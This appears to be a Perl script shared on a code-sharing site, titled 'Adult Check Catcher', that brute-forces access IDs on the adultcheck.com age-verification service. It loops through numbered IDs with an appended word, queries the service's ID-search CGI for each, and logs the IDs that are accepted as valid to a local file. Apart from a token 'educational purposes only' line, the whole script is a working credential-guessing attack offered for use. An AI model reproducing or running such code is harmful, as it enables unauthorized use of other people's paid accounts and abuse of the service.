=**************************************
    = Name: Adult Check Catcher....
    = Description:This cracks adult check pa
    =     sses.
    Just change firebird to get more it would be better if you make sure there are passes with that word.
    This is just for educational purposes only!
    = By: iron saTan
    =
    =This code is copyrighted and has    = limited warranties.Please see http://w
    =     ww.Planet-Source-Code.com/vb/scripts/Sho
    =     wCode.asp?txtCodeId=359&lngWId;=6    =for details.    =**************************************
    
    #!usr\bin\perl
    ####################################
    ## AdultCheck Catcher ##
    ## Copyright iron saTan (C)##
    ## ironsatan@satanshideaway.com##
    ####################################
    use IO::Socket;
    print "Scanning for Adult Check Catcher!\n";
    print "By iron saTan(ironsatan@satanshideaway.com\n\n\n";
    for ($i = 1000; $i < 9999; $i++){
    $id = $i;
    $id .= "firebird";# Change the word for more passes
    # Gets info from server
    if ($look = IO::Socket::INET->new(PeerAddr => 'id.adultcheck.com', PeerPort => '80', Proto => "tcp")) {
    print $look "GET /cgi-bin/idsearch.cgi?page=649943&id;=$id HTTP/1.0\n\n";
    }
    while ($ex_data = <$look>) {
    chop($ex_data);
    $bitch .= $ex_data;
    }
    $a = "http://www4.adultcheck.com/cgi-bin/invalid.shtml";
    $b = "http://www4.adultcheck.com/cgi-bin/stolen.shtml";
    $c = "http://www4.adultcheck.com/cgi-bin/expired.shtml";
    open (FOUND,">>c:/adultchecks.txt") or die "Can't open log file";
    # Sees if id is valid or invaild or stolen or expired
    if ($bitch =~ /\Q$a\E/i) {
    print "\n$id Not found";
    }
    else
    {
    if ($bitch =~ /\Q$b\E/i){
    print "\n$id has been stolen";
    }
    else
    {
    if ($bitch =~ /\Q$c\E/i){
    print "\n$id has expired";
    }
    else
    {
    print "\n$id FOUND!!!!";
    print FOUND "\n$id";
    }
    }
    }
    $bitch = "";
    }
    print "\nEnd of Scan!";